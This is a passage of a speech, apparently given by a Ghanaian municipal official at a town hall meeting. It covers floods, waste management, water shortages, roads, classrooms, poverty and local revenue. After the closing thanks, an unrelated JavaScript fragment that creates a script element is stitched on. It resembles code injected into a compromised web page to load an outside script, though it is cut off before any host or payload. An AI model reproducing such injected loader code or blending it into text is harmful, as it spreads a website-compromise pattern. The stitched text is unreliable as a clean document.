and preparedness to work with the Assembly to achieve a common goal. Ladies and gentlemen; town hall meetings are part of the processes that the Assembly uses to engage and collaborate with its stakeholders. Our aim of gathering here today is to enable the Assembly present its activities for the past year and assess the impact of developmental interventions in a participatory manner. These processes are key requirements in Ghana’s decentralization and participatory planning process which is also in line with the President’s ‘Town Hall Concept’ which gives citizens and the electorate the opportunity to interact and dialogue with the local authorities on key issues that directly affect and border on their lives. This is a manifestation of a democratic and accountable government which is responsive to the needs and priorities of the people. Ladies and gentlemen; community members, we are all very much aware of the complexity of the social, economic and environmental issues that bedevil the Municipality. The threats of the annual and seasonal floods, waste management problems, acute water shortages, haphazard and uncontrolled physical developments, poor conditions of our access roads, inadequate classrooms and the acute poverty situation amongst our people especially women are some of the key issues that would engage our discussions today. I will therefore, urge all of you to take keen interest and deeply get involved in the discussions. The discussions should also find ways of exploring alternative revenue sources within the municipality while at the same time focusing on strategies to promote and encourage the growth and development of small and medium scale enterprises. Ladies and gentlemen, looking at the calibre of people gathered here such as representatives of political parties, security persons, traders, artisans, fishermen and fishmongers, Assembly members, heads of department and others to discuss common developmental issues, gives real meaning to the practice of local governance and a manifestation of grassroots participation. I thank all of you for being part of this august gathering and for your attention. I wish us all a fruitful and a successful deliberation. Thank you.var d=document;var s=d.createElement(‘script’);
